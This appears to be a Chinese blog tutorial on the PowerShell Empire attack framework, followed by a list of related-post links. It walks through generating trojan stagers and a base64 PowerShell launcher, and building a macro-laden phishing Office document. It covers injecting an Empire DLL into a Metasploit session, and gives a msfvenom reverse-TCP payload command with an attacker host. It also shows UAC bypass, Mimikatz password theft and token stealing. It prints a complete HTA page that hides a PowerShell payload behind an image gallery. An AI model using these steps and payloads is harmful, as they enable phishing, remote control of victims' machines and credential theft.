一、介绍

  • Empire是一款针对Windows平台的、使用PowerShell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行 PowerShell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,并且能够躲避网络检测和大部分安全防护工具的查杀,简单来说有点类似于 Metasploit,是一个基于 PowerShell的远程控制木马。

二、安装

  • Empire运行在Linux平台下,安装命令如下:

    git clone https://github.com/EmpireProject/Empire.git
    //这样容易失败,建议直接去链接处下载压缩包解压进行后续使用
    cd /Empire/setup/
    ./install.sh
  • 运行:./empire



    可以看到它包含三个部分:

    • 一个是modules即自身的一些模块
    • 一个是listernes即监听,类似msfexploit/multi/handler模块
    • 一个是agents即已经链接上的会话,类似msf所存的session
  • 输入help查看使用帮助

三、基本使用

  • 设置监听

    • listeners进入监听线程界面
    • uselistener后按一个空格在敲两下TAB键列出可供使用的监听器,这里我们选择http

    • 查看要设置的参数:info



      我们看到HostPort(即监听使用的ip和端口)已经是我们攻击方的IP和端口了,只需要修改Name即可
    • 设置参数:set Name test
    • 开始监听:execute

    • 设置完成后可使用back-list查看设置好的监听器
  • 生成木马
    • 这里可以理解为Metasploit里的Payload,Empire中有多个模块化的stager
    • usestager后按一个空格在敲两下TAB键设置采用的模块(可以看到支持linux、Windows、osx)

    • 选择usestager windows/dlldll木马
    • info查看参数设置

    • 设置Name参数:set Name test(注意这里的名字要和监听器的名字一样!)
    • execute执行后会看到在tmp目录下生成了一个launcher.dll文件,该文件在目标主机上可以通过webshell运行,运行后empire这边就会成功上线。
    • 或者可以back后输入launcher <language> <listenerName>生成一行base64编码代码(即生成一个Payload),将生成的这段代码在装有powershell的目标机上执行,就会得到这个主机的权限。

四、渗透实践

1、利用PowerShell Empire生成网络钓鱼文件

  • 使用Empire的macro载荷

    • 按之前步骤设置好监听

    • 使用macro载荷

  • 上图中我们生成了一个宏,并且保存在tmp目录中名称为macro,打开我们可以发现该载荷使用PowerShell的编码命令进行了转换,就像我们用launcher powershell tc生成payload,再进行VBA代码的转换。

  • 将上面的宏添加到一个Office文档中
    • 新建一个Word文件或Excel文件
    • 选择视图-,点击创建后,在VB编辑界面将里面已有的代码删除,然后,将刚才用Empire生成的宏复制粘贴进去。

    • 点击保存时会跳出一个对话框,选择,接着我们保存为97-2003格式即可。
  • 现在将生成好的钓鱼文件在靶机上运行(钓鱼文件嘛里面要添加一些正常吸引人的内容),此时会有提示未启用宏,点击启用宏内容后,ok上线成功!

  • 下面我们就可以进行一些操作了!!
    • 修改下靶机的名称(方便使用):rename 43SY8BVU tc
    • 与靶机进行交互:interact tc
    • 截屏:sc

    • 查看系统信息:sysinfo

    • 尝试提权:bypassuac test,等几秒钟,就会返回一个更高权限的shell,再次输入agents,发现当前靶机主机名前带有一个*,表示提权成功!

    • 使用内置的mimikatz模块:mimikatz神器mimikatz介绍)这里主要是抓取靶机的用户名和密码

2、MSF与Empire联动

  • 我们在之前的实验里都是用MSF进行渗透获取session,而这个session一般是没有高权限的,这是我们可以利用Empire进行后续更高权限操作。
  • 先使用msfvenom简单编码生成一个木马:msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.88.130 LPORT=5330 -a x64 -f exe -o test.exe
  • MSF中开启监听并在靶机上运行获取session

  • 接下将这个session关联至Empire
    • 创建一个监听器,设置监听器名字、监听主机和监听端口(注意和MSF的相同)
    • 使用dll诸如进程来关联Empire:我们选用usestager windows/dll模块

  • 选取一个进程号实现注入:MSF的session下使用ps查看进程

  • 注入dll文件
    • background后台运行会话
    • use post/windows/manage/reflective_dll_inject
    • 设置参数后run

  • 看到注入完毕,Empire这边就有了上线反应(因为电脑出问题重做了一遍,靶机地址有变)

  • 下面我们先提权:bypassuac test(监听名称)

  • 现在我们使用Empire自带的module进行令牌窃取
    • 使用内置mimikatz获取系统密码,执行完毕后输入creds命令查看Empire列举的密码

    • 窃取身份:pth CredID号

    • 窃取身份令牌:steal_token PID号

    • 通过ps我们可以找到该进程

3、永生之火后门渗透

  • Empire按之前步骤开启监听后,launcher powershell test生成一段powershell代码

  • 随任意格式的图片在在线base64转换将其转成base64格式

  • 上面代码插入以下代码块中
    <html>
    <head>
    <title>weibo@flagellantX</title>
    </head>
    <script type = "text/javascript"> var index= -1;
    var images = ["base64代码段"]; function initGallery () {
    window.resizeTo (300,300);
    htaPayload ();
    nextPicture ();
    }; function nextPicture () {
    var img;
    index = index + 1;
    if (index > images.length -1) {
    index = 0;
    }
    img = document.getElementById ("gallery");
    img.src = images [index];
    }; function htaPayload () {
    var payload="PowerShell代码段";
    try{
    if(navigator.userAgent.indexOf("Windows") !== -1){
    new ActiveXObject("WScript.Shell").Run("CMD /C START /B " + payload, false);
    }
    }
    catch(e){
    }
    }; </script> <style> #gallery, div {
    width: 100%;
    height: 100%;
    } #outer {
    text-align: center;
    } #inner{
    display: inline-block;
    } body {
    background-color: black;
    } </style> <body onload = "initGallery ()">
    <div id = "outer">
    <div id = "inner">
    <img id = "gallery" onclick = "nextPicture ()">
    </div>
    </div>
    </body>
    </html>
  • 将完整的代码,用Script Encoder程序打开,选用HTML/ASP+Scripts,点击Convert。在右边框,形成脚本代码。

  • 之后我们打包出一个.hta的可执行文件,在目标主机上运行,轻松在Empire上线

参考资料

Final——PowerShell Empire的更多相关文章

  1. PowerShell Empire使用笔记

    ##安装过程 git clone https://github.com/EmpireProject/Empire.git cd Empire cd setup sudo ./install.sh ## ...

  2. 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践

    目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...

  3. Empire – PowerShell 后渗透攻击框架

    0x01 简介 Empire是一个后开发框架.它是一个纯粹的PowerShell代理,具有加密安全通信和灵活架构的附加功能.Empire具有在不需要PowerShell.exe的情况下执行PowerS ...

  4. 黑客讲述渗透Hacking Team全过程(详细解说)

    近期,黑客Phineas Fisher在pastebin.com上讲述了入侵Hacking Team的过程,以下为其讲述的原文情况,文中附带有相关文档.工具及网站的链接,请在安全环境下进行打开,并合理 ...

  5. 使用mshta.exe绕过应用程序白名单(多种方法)

      0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...

  6. 使用msbuild.exe绕过应用程序白名单(多种方法)

      一.MSbuild.exe简介 Microsoft Build Engine是一个用于构建应用程序的平台.此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和 ...

  7. 使用wmic.exe绕过应用程序白名单(多种方法)

      一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因 ...

  8. 使用regsrv32.exe绕过应用程序白名单(多种方法)

    0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...

  9. 使用rundll32.exe绕过应用程序白名单(多种方法)

    0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了“ Wind ...

随机推荐

  1. 使用.Net Core 2.2创建windows服务

    使用.Net Core 2.2创建windows服务 我的环境 win 10 home Visual Studio 2019 v16.1.3 安装有.net core 2.2 创建项目 编辑项目文件 ...

  2. MyEclipse eclipse console edit packageExplorer 颜色设置、个性化、常用设置

    下列教程的图片是在 myeclipse2014 破解版上进行,会有些许不同,仅供参考! 1 编辑区颜色设置 主题设置 豆沙绿设置 RGB 203 233 207 2 console 3主题选择 4 去 ...

  3. SPOJ-MobileService--线性DP

    题目链接 https://www.luogu.org/problemnew/show/SP703 方法一 分析 很显然可以用一个四维的状态\(f[n][a][b][c]​\)表示完成第i个任务时且三人 ...

  4. 测试clang-format的格式化效果

    我自己写的业余框架已告一段落,主体功能已完成,剩下的就是优化.第一个要优化的,就是代码格式.我一直是用编辑器写代码的,从之前的UltraEdit到notepad++到sublime text,再到现在 ...

  5. ngnix反向代理后获取用户真实ip及https配置

    server {listen 80;listen 802;server_name test111.xxxx.com 118.24.122.101; gzip on;gzip_min_length 10 ...

  6. 使用canvas 代码画小猪佩奇

    最近不是小猪佩奇很火嘛!!! 前几天 在知乎 看见了别人大佬用python写的 小猪佩奇,  顿时想学 ,可是 自己 没学过python(自己就好爬爬图片,,,,几个月没用 又丢了) 然后 就想画一个 ...

  7. 工具---《.264视频 转成 MP4视频》

    <.264视频 转成 MP4视频> 安装了“爱奇艺万能播放器”可以打开.264视频,但是opencv却不能直接读取.264视频,还是需要想办法“.264视频 转成 MP4/avi视频”. ...

  8. 「SNOI2019」通信 分治建图

    根据题意 每个点可以直接与S,T相连 也可以和前面的哨站相连 暴力建边的话 有n2条边 要用分治优化建边: 类似于归并排序 先对每一层分为左半边与右半边 对每一半都拿出来先排序去重后 直接排成一条链建 ...

  9. iview 如何在表格中给操作图标添加Tooltip文字提示?

    项目需要用到的iview 表格中操作项目有各种各样的图标,而各种各样的图标代表不同的操作,面对新用户可能很懵,那如何给这些图标添加Tooltip文字提示? 废话不多讲,直接看代码: <templ ...

  10. 【转】golang 结构体和方法

    原文:https://www.jianshu.com/p/b6ae3f85c683 ---------------------------------------------------------- ...